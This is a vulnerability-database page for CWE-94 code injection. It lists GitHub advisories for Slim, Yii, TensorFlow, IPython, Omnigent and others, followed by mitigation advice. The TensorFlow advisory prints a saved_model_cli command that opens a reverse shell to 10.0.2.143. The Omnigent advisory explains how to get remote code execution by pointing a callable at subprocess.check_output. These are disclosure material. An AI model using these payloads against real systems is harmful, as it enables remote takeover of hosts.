CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9452 vulnerabilities reference this CWE, most recent first.
GHSA-74MF-VJPG-9XH7
Vulnerability from github – Published: 2022-05-17 03:34 – Updated: 2024-04-25 22:23Middleware/SessionCookie.php in Slim before 2.6.0 allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via crafted session data.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "slim/slim"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-2171"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T22:23:09Z",
"nvd_published_at": "2015-03-30T14:59:00Z",
"severity": "HIGH"
},
"details": "Middleware/SessionCookie.php in Slim before 2.6.0 allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via crafted session data.",
"id": "GHSA-74mf-vjpg-9xh7",
"modified": "2024-04-25T22:23:09Z",
"published": "2022-05-17T03:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2171"
},
{
"type": "WEB",
"url": "https://github.com/slimphp/Slim/issues/1034"
},
{
"type": "WEB",
"url": "https://github.com/slimphp/Slim/commit/9fa651474eb4d3bb0ce40dd5a55c51bb861c2658"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/slim/slim/CVE-2015-2171.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/slimphp/Slim"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200229032229/http://www.securityfocus.com/bid/70087"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2015/Mar/16"
},
{
"type": "WEB",
"url": "http://www.slimframework.com/2015/03/01/version-260.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Slim vulnerable to PHP object injection"
}
GHSA-74Q5-9HVP-962C
Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2022-04-29 01:27PHP remote file include vulnerability in index.php for Gallery 1.4 and 1.4-pl1, when running on Windows or in Configuration mode on Unix, allows remote attackers to inject arbitrary PHP code via a URL in the GALLERY_BASEDIR parameter, a different vulnerability than CVE-2002-1412. NOTE: this issue might be exploitable only during installation, or if the administrator has not run a security script after installation.
{
"affected": [],
"aliases": [
"CVE-2003-1227"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "PHP remote file include vulnerability in index.php for Gallery 1.4 and 1.4-pl1, when running on Windows or in Configuration mode on Unix, allows remote attackers to inject arbitrary PHP code via a URL in the GALLERY_BASEDIR parameter, a different vulnerability than CVE-2002-1412. NOTE: this issue might be exploitable only during installation, or if the administrator has not run a security script after installation.",
"id": "GHSA-74q5-9hvp-962c",
"modified": "2022-04-29T01:27:43Z",
"published": "2022-04-29T01:27:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-1227"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/13419"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/341044"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/341094"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/341098"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/8814"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-74QV-RV53-5WCX
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2024-04-24 18:31The CDetailView widget in Yii PHP Framework 1.1.14 allows remote attackers to execute arbitrary PHP scripts via vectors related to the value property.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yiisoft/yii"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.14"
},
{
"fixed": "1.1.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-4672"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T18:31:47Z",
"nvd_published_at": "2014-07-03T17:55:00Z",
"severity": "HIGH"
},
"details": "The CDetailView widget in Yii PHP Framework 1.1.14 allows remote attackers to execute arbitrary PHP scripts via vectors related to the value property.",
"id": "GHSA-74qv-rv53-5wcx",
"modified": "2024-04-24T18:31:47Z",
"published": "2022-05-17T04:38:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4672"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii/CVE-2014-4672.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/yiisoft/yii"
},
{
"type": "WEB",
"url": "https://www.yiiframework.com/news/78/yii-1-1-15-is-released-security-fix"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Yii PHP Framework arbitrary PHP scripts execution"
}
GHSA-74XW-7RG4-6P4C
Vulnerability from github – Published: 2026-10-07 03:30 – Updated: 2026-10-07 03:30IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper control of code generation.
{
"affected": [],
"aliases": [
"CVE-2026-104334"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-07T01:16:34Z",
"severity": "CRITICAL"
},
"details": "IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper control of code generation.",
"id": "GHSA-74xw-7rg4-6p4c",
"modified": "2026-10-07T03:30:22Z",
"published": "2026-10-07T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104334"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7290694"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7525-4VPP-3GQ2
Vulnerability from github – Published: 2025-06-19 00:31 – Updated: 2025-06-19 00:31A vulnerability allowing local system users to modify directory contents, allowing for arbitrary code execution on the local system with elevated permissions.
{
"affected": [],
"aliases": [
"CVE-2025-24287"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-19T00:15:22Z",
"severity": "MODERATE"
},
"details": "A vulnerability allowing local system users to modify directory contents, allowing for arbitrary code execution on the local system with elevated permissions.",
"id": "GHSA-7525-4vpp-3gq2",
"modified": "2025-06-19T00:31:07Z",
"published": "2025-06-19T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24287"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4743"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7557-GR35-538W
Vulnerability from github – Published: 2022-05-01 07:20 – Updated: 2022-05-01 07:20PHP remote file inclusion vulnerability in profitCode ppalCart 2.5 EE, possibly a component of PayProCart, allows remote attackers to execute arbitrary PHP code via a URL in the (1) proMod parameter to (a) index.php, or the (2) docroot parameter to (b) index.php or (c) mainpage.php.
{
"affected": [],
"aliases": [
"CVE-2006-4672"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-09-11T16:04:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in profitCode ppalCart 2.5 EE, possibly a component of PayProCart, allows remote attackers to execute arbitrary PHP code via a URL in the (1) proMod parameter to (a) index.php, or the (2) docroot parameter to (b) index.php or (c) mainpage.php.",
"id": "GHSA-7557-gr35-538w",
"modified": "2022-05-01T07:20:55Z",
"published": "2022-05-01T07:20:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4672"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/28781"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2316"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21868"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/445748/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/446076/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/19881"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/3557"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-756X-9HF6-Q4H4
Vulnerability from github – Published: 2026-09-02 21:54 – Updated: 2026-09-02 21:54Summary
An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.
When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.
This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.
Details
The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:
Create custom agent builds and uploads a bundle
\
createBundledSession posts the bundle to /v1/sessions
A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.
On the server, uploaded bundles are validated here:
validate_agent_bundle
The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:
spec = load(
bundle_bytes,
dest=Path(tmpdir) / "agent",
expand_env=False,
enforce_handler_allowlist=enforce_handler_allowlist,
)
However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.
The docs describe server-side Python callable tools here: Python function tool docs
\
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path
mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)
_execute_spec_callable_tool calls the resolved function
result = await asyncio.to_thread(resolved, **args)
The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback
output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)
The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.
Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.
Impact
This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.
Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.
This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "omnigent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62675"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T21:54:52Z",
"nvd_published_at": "2026-08-21T18:16:49Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous `callable:` paths in untrusted user-provided agent configs.\n\nWhen the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at `subprocess.check_output`, which lets the attacker run a local command on the runner machine.\n\nThis is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.\n\n### Details\n\nThe uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart `POST /v1/sessions`; the Web UI uses this same endpoint for custom agents:\n\n[`Create custom agent` builds and uploads a bundle](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/ap-web/src/shell/NewChatDialog.tsx#L1265-L1277) \n\\\n[`createBundledSession` posts the bundle to `/v1/sessions`](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/ap-web/src/lib/sessionsApi.ts#L421-L460)\n\nA crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.\n\nOn the server, uploaded bundles are validated here:\n[`validate_agent_bundle`](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/omnigent/server/bundles.py#L13-L75)\n\nThe validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:\n```python\nspec = load(\n bundle_bytes,\n dest=Path(tmpdir) / \"agent\",\n expand_env=False,\n enforce_handler_allowlist=enforce_handler_allowlist,\n)\n```\nHowever, the same validation does not reject `tools.\u003cname\u003e.callable` entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.\n\nThe docs describe server-side Python callable tools here: [`Python function tool` docs](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/docs/AGENT_YAML_SPEC.md#L229-L246)\n\\\nLater, the runner resolves and executes those callables: [`_resolve_spec_callable` imports the dotted path](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/omnigent/runner/tool_dispatch.py#L444-L481)\n```python\nmod = importlib.import_module(module_name)\nfn = getattr(mod, attr_name, None)\n```\n[`_execute_spec_callable_tool` calls the resolved function](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/omnigent/runner/tool_dispatch.py#L484-L511)\n```python\nresult = await asyncio.to_thread(resolved, **args)\n```\nThe high-level tool dispatcher falls back to this callable execution path: [`execute_tool` callable fallback](https://github.com/omnigent-ai/omnigent/blob/23d42d9a7d46a3b6a0b40d5bf4125b91193bf831/omnigent/runner/tool_dispatch.py#L3958-L3965)\n```python\noutput = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)\n```\n\nThe problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.\n\nSuggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject `callable:` tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.\n\n### Impact\n\nThis is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.\n\nBecause the callable runs inside the runner process, the attacker-controlled code runs with the runner\u0027s permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.\n\nThis is high impact because it crosses the boundary from \"upload an agent config\" to \"execute local code on shared runner infrastructure\" without requiring admin/operator access.",
"id": "GHSA-756x-9hf6-q4h4",
"modified": "2026-09-02T21:54:52Z",
"published": "2026-09-02T21:54:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-756x-9hf6-q4h4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62675"
},
{
"type": "WEB",
"url": "https://github.com/omnigent-ai/omnigent/pull/1430"
},
{
"type": "WEB",
"url": "https://github.com/omnigent-ai/omnigent/commit/1f3f398f41cbf97b905133c21e848621c21da6e0"
},
{
"type": "PACKAGE",
"url": "https://github.com/omnigent-ai/omnigent"
},
{
"type": "WEB",
"url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Omnigent: Uploaded Agent Bundle Allows Authenticated Runner RCE via Python Callable Tools"
}
GHSA-75C9-4W8R-55H3
Vulnerability from github – Published: 2024-06-25 21:31 – Updated: 2024-06-25 21:31A security vulnerability has been identified in HPE Athonet Mobile Core software. The core application contains a code injection vulnerability where a threat actor could execute arbitrary commands with the privilege of the underlying container leading to complete takeover of the target system.
{
"affected": [],
"aliases": [
"CVE-2024-6206"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-25T20:15:14Z",
"severity": "HIGH"
},
"details": "A security vulnerability has been identified in HPE Athonet Mobile Core software. The core application contains a code injection vulnerability where a threat actor could execute arbitrary commands with the privilege of the underlying container leading to complete takeover of the target system.",
"id": "GHSA-75c9-4w8r-55h3",
"modified": "2024-06-25T21:31:16Z",
"published": "2024-06-25T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6206"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04659en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-75C9-JRH4-79MC
Vulnerability from github – Published: 2022-05-24 22:16 – Updated: 2022-06-06 18:13Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29216"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T22:16:48Z",
"nvd_published_at": "2022-05-21T00:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nTensorFlow\u0027s `saved_model_cli` tool is vulnerable to a code injection:\n\n```\nsaved_model_cli run --input_exprs \u0027x=print(\"malicious code to run\")\u0027 --dir ./\n--tag_set serve --signature_def serving_default\n```\n\nThis can be used to open a reverse shell \n\n```\nsaved_model_cli run --input_exprs \u0027hello=exec(\"\"\"\\nimport socket\\nimport\nsubprocess\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\"10.0.2.143\",33419))\\nsubprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"\"\")\u0027\n--dir ./ --tag_set serve --signature_def serving_default\n```\n\nThis is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n # ...\n\n for input_raw in filter(bool, input_exprs_str.split(\u0027;\u0027)):\n # ...\n if safe:\n # ...\n else:\n # ast.literal_eval does not work with numpy expressions\n input_dict[input_key] = eval(expr) # pylint: disable=eval-used\n return input_dict\n```\n\nThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.\n\nHowever, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.\n\n### Patches\nWe have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.",
"id": "GHSA-75c9-jrh4-79mc",
"modified": "2022-06-06T18:13:28Z",
"published": "2022-05-24T22:16:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29216"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code injection in `saved_model_cli` in TensorFlow"
}
GHSA-75CW-5CGV-G853
Vulnerability from github – Published: 2022-05-14 02:05 – Updated: 2024-09-23 16:59IPython Notebook 0.12 through 1.x before 1.2.0 does not validate the origin of websocket requests, which allows remote attackers to execute arbitrary code by leveraging knowledge of the kernel id and a crafted page.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ipython"
},
"ranges": [
{
"events": [
{
"introduced": "0.12"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-3429"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-29T11:32:00Z",
"nvd_published_at": "2014-08-07T11:13:00Z",
"severity": "HIGH"
},
"details": "IPython Notebook 0.12 through 1.x before 1.2.0 does not validate the origin of websocket requests, which allows remote attackers to execute arbitrary code by leveraging knowledge of the kernel id and a crafted page.",
"id": "GHSA-75cw-5cgv-g853",
"modified": "2024-09-23T16:59:56Z",
"published": "2022-05-14T02:05:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3429"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/pull/4845"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/commit/e5b669ce4750d628dba383fd637dbde918ea15f5"
},
{
"type": "WEB",
"url": "https://github.com/mattvonrocketstein/ipython/commit/dd4135db9f42d196a46553310a8e63ff5658671d"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1119890"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94497"
},
{
"type": "PACKAGE",
"url": "https://github.com/ipython/ipython"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2014-21.yaml"
},
{
"type": "WEB",
"url": "http://advisories.mageia.org/MGASA-2014-0320.html"
},
{
"type": "WEB",
"url": "http://lambdaops.com/cross-origin-websocket-hijacking-of-ipython"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2014-08/msg00039.html"
},
{
"type": "WEB",
"url": "http://permalink.gmane.org/gmane.comp.python.ipython.devel/13198"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2014/q3/152"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "IPython Notebook vulnerable to improper validation of the origin of websocket requests "
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
